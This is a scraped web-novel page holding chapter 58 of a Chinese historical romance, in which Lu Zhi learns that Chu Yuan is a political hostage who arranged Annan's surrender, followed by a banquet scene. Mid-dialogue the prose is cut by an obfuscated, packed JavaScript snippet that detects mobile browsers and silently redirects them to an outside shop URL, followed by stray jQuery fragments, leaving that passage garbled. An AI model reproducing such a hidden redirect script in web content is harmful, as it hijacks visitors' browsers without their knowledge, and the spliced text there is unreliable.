默认冷灰
24号文字
方正启体

58. 第 58 章

作者:春山赴雪本书字数:K更新时间:
    陆执沉默,等着木令宜的话。


    难道不是献捷?不是她贪图安乐?


    “长安的人都认为阿鸢是贪图富贵,想要陆府庇护。其实,阿鸢是质子,是安南压在大夏的质子。”


    陆执震惊:“质子?”


    “对!这是安南降国前,陛下对阿鸢提的要求,她要在长安终身为质,陛下才同意安南册通过。”


    所以,陆瑾多方斡旋,最终让安南册顺利通过,只是表面罢了,真实情况,是楚鸢孤身来到长安,成为质子?


    陆执还是不解:“三娘不过一个弱女子,怎么能……”


    木令宜深深叹息:“此事说来话长,本不该在今日与你说,可你与阿鸢的嫌隙已经至此,若不说明,恐怕还有诸多矛盾。”


    陆执脸上的红印已消下去不少,他静静的听着,他也想知道,为何今日楚鸢那么失态,明知道太子生气,还是要推荐陆瑾。


    还有太子,他当真是因为楚鸢的美色,才会做出如此狂悖之事吗,还是另有隐情。


    木令宜看了一眼四周,确认无人以后,才开口:“我只能长话短说,两年前,阿鸢与你阿爹达成盟约,想要降国,换取安南太平,所以,她亲自制定策略,让安南十城不得抵抗,迎了镇南军入城。”


    陆执大惊。


    “阿娘,你是说,要降国的人是楚鸢……”


    木令宜点头:“在此之前,她还处理了大都城的两万龙辰卫,你们才能安然进入大都城。龙辰卫只听命于楚懿,没有办法招降。”


    陆执早已经惊得不能言语。


    楚鸢的样子再次闪过他的脑海,在他眼中,她怯懦,卑微,为了保住自己的荣华富贵,甘愿认陆清为爹。


    可是,她管家,办宴,甚至……她带着家丁夜闯长乐侯府,又去萧国公府和太子告状。


    一个侯府,竟然能一夜之间被移平。


    他此前认为不合理的地方,突然都合理了。


    一个卑微,怯懦的人,是不可能做出那些事情的,只可能是她的伪装。


    陆执心惊:“她如何可以……”


    做到这些。


    “小执,阿鸢不是寻常女子,她经历的苦痛太多了,她如今只有一个念头,让安南册真正落下去,让安南百姓能得到太平的日子,所以今日你为太子选了顾煜为安南大都督,无疑是让阿鸢陷入了被动的地步。”


    “你或许对顾煜不了解,此人心胸狭隘,唯利是图,安南册落地的时候会有巨大的利益空间,所以阿鸢费尽心力,就是不想此人能上任。”


    可是。


    一切来不及了。


    太子问陆执的意思,就是问了陆府的意思。


    太子为何不问陆清,不问陆瑾,不问楚鸢,偏偏问陆执,


    顾煜的兄长,顾渊,是巡防卫指挥使,陆执未曾谋面的上司,陆执为了自己的前程,也会卖顾家这个面子。天子在多方势力选取的人员中一直摇摆不定,太子抓住了陆执和顾渊的机会,顺水推舟得到了陆府的支持。


    既然陆府都推荐顾煜,天子,便无需摇摆了。


    “小执,我今日说的这些话,若不是事情已经到此地步,你又是个好孩子,我是绝对不会说的,这其中任何一点信息泄露,都会置阿鸢于死地。楚懿的逆党,天子的人,没有一个会放过她。”


    “请你,一定要保守秘密。”


    木令宜的语气,几近是祈求。


    陆执还在震惊中没有回过神来。


    “阿娘放心,我不会透露一个字。”


    “阿娘,我还有一个疑问。”


    木令宜点头。


    “三娘,为何能成为质子?她不过一个女子,能号令安南十城?”


    木令宜骄傲的笑了:“当然可以,麟德殿赐宴那晚,阿鸢的话你还记得吗?陛下忌惮的,怎么会是一个弱女子。”


    陆执回头看着楚鸢寝房的方向:“她当真,心系安南百姓?”


    言语中还带着一抹怀疑。


    “她视之为生命,谁若是敢打安南的主意,阿鸢会与其拼命。”


    “今日太子对三娘如此……”


    木令宜突然毫不避讳的目露凶光:“小执,太子是对阿鸢有意,但阿鸢无意于他,我替阿鸢谢过你今日救她之恩,若非如此,我绝不会对你说这些。”


    木令宜起身:“我先回前厅,京中大多贵族都在,今日不可出事。”


    陆执指着楚鸢寝房:“三娘?”


    木令宜安心道:“不用担心,阿鸢好些了会同你一起过去的,你们好好把话说开。”


    木令宜走前又进了寝房,楚鸢已经重新换了衣服挽了发,想来她与陆执的话,楚鸢已经都听到了。


    楚鸢笑道:“阿娘快回去吧,我换好衣服就与兄长一同过去。”


    若不是楚鸢眼睛还红着,今日这一切,仿佛都未曾发生一般。


    木令宜心疼的瞧了女儿一眼,转身出了房门。


    楚鸢的声音在里面响起:“兄长的脸还红着,进来让若即给你敷些脂粉,盖一下。”


    陆执踌躇不前。


    “兄长是想引起大家猜疑吗?太子还在府中。”


    陆执深吸一口气,推门进了寝房。


    楚鸢换了一身银朱宽袖锦服,带了一对同色珊瑚步摇,不似刚才粉嫩,此刻的她充满了欲望,与危险。


    “三娘,刚才顾侍郎,我不知……”


    “无妨,是三娘不懂规矩,冒犯了兄长!”楚鸢起身行礼道歉。


    陆执一时尴尬在当场,楚鸢的疏离更是让他难受。


    陆执看着若即:“若即姑娘,请你先出去,我与你家娘子有话要说。”


    一脸警惕的若即听到这话,反而往前一步站在楚鸢面前,虎视眈眈的盯着陆执。


    楚鸢抬手轻轻抚着若即的肩膀,声音温柔:“若即,先出去侯着吧,我没事。”


    陆执一眼便看到了楚鸢手腕上的红痕,他再笨也知道,那是太子刚才伤的。


    若即瞪着他出了房门。


    楚鸢解释:“若即和若离是楚懿封的成王的女儿,若是按大夏的称呼,应当叫郡主。”


    楚鸢不再避讳,对陆执直言。


    这也意味着,她不再隐藏,也不再对陆执抱有信心。


    陆执惊讶于楚鸢,也惊讶于楚鸢身边的人,既然如此,两人坦诚相见,反而更好。


    陆执低眉看着她:“三娘,我在南境十年,安南做主的是楚懿,你是如何掌控安南的?”


    楚鸢唇角淡淡一展,不屑的开口:“这种事情,还轮不到你来问。”


    一句话,两人之间陷入冰点。


    陆执蹙眉:“楚鸢,我十年征战,不是为了杀人,南境困苦,我是亲身经历,我想拯救百姓的心不比你少。”


    “是吗!兄长的长枪,在安南可是赫赫有名,枪下亡魂,数不胜数,兄长就不必说这种冠冕堂皇的话了吧。你既然知道我的目的,也知道我的处境,从此我们井水不犯河水,相安无事就好。”


    楚鸢越过陆执往门口走去:“兄长若是无需遮盖,那便一同走吧


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17284155|198412||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    !”


    陆执也是那般骄傲的少年啊。


    他转身轻轻拉住往外走的楚鸢,随即又惊觉失礼而放开:


    “楚鸢!”


    楚鸢停住了脚步,却没有回头。


    “天子和太子,都不会让叔叔去安南,对于安南来说,顾侍郎,是最佳的人选。”


    楚鸢嗤笑:“是!兄长认为他是最佳的人选,那便是吧!”


    反正一切已经来不及。


    太子就是要让顾煜去。


    许昌已死,安南需要有太子的人。


    陆执看楚鸢还在气头上:“只有看到一个无能的人,有引发安南再次动荡的可能,天子才能下定心力落实安南册。”


    楚鸢已经不想争执。


    “兄长,该出发了,太子快要离府,按礼,需阖府恭送。”


    陆执心下又是一惊:她知道!她刚才遭遇了那样的处境,她竟然还知道太子的行程,知道大夏的礼仪。


    她一直是冷静的。


    “今日,祝兄长冠礼圆满,自在安乐,安珩……兄长的字,真好。”


    真好两个字被她咬得格外重了些,甚至带了一抹笑容,可是转瞬又敛了笑容,迎着冬日的光走出了门口。


    陆执蹙眉,转身跟了出去。


    前院,昭阳公主等了陆执许久。


    而陆执刚到前院,随手便从侍从手中拿了一壶酒和酒杯来,笑着去前厅敬酒。


    楚鸢也拿过酒杯和酒壶,只是比陆执收敛了些。


    两人仿佛什么也没发生。


    陆执先去了上首敬昭阳公主,昭阳公主显然生气了,目色深深的看着陆执。


    陆执浅笑:“多谢公主大驾,微臣自罚三杯,请公主勿要动怒,伤了身子。”


    陆执仿佛一瞬开了窍,连倒了三杯酒,一饮而尽。


    昭阳公主难得的笑了:“谁要你自罚了……”抬眸的瞬间看见了陆执的脸:


    “你的脸怎么了?”


    陆执眸中含笑,少年刀削斧凿一般的脸上,突兀的印出一个巴掌印。


    “微臣刚才喝多了,不知是撞了哪家娘子!”


    上首的太子似乎已经酒醒,声音和煦:“没想到陆世子还是这般风流的郎君,昭阳,你可要看清些。”


    声音中却没有责怪,只有打趣一般的揶揄。


    昭阳显然不快:


    “谁打的你,本宫为你做主!”


    陆执笑容不减:“公主恕罪,今日陆府衔恩宴,又是微臣冠礼,今日若是公主为微臣做了主,他日哪还有宾客敢来陆府做客,微臣再敬公主三杯,多谢公主厚爱。”


    陆执又满饮了三杯。


    昭阳不悦中又带了心疼:“不许喝了!”


    “是!”


    少年抬眸,满眼桃花,只是一眼,就看得昭阳整个脸都红了。


    “公主失陪,微臣稍后再来!”


    昭阳红着脸点头。


    陆执转身,玄服耀目,贵不可言,挺拔的身姿融入了宾客之中,却因为过于出众,一眼便能被人看到。


    楚鸢刚落座,面前便有几位郎君端了酒杯过来,是那日见到的宋大郎君,还有几位她不认识。


    “陆三娘子有礼!”


    楚鸢起身行礼:“诸位郎君安!”


    陆执下意识在人群中找楚鸢的身影,看到了和宋意弦谈笑的楚鸢,她时而掩嘴轻笑,时而与宋意弦笑谈,神色松弛慵懒。


    明媚如春。


    过了一会,三皇子也过来了,宋意弦便只有退下。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)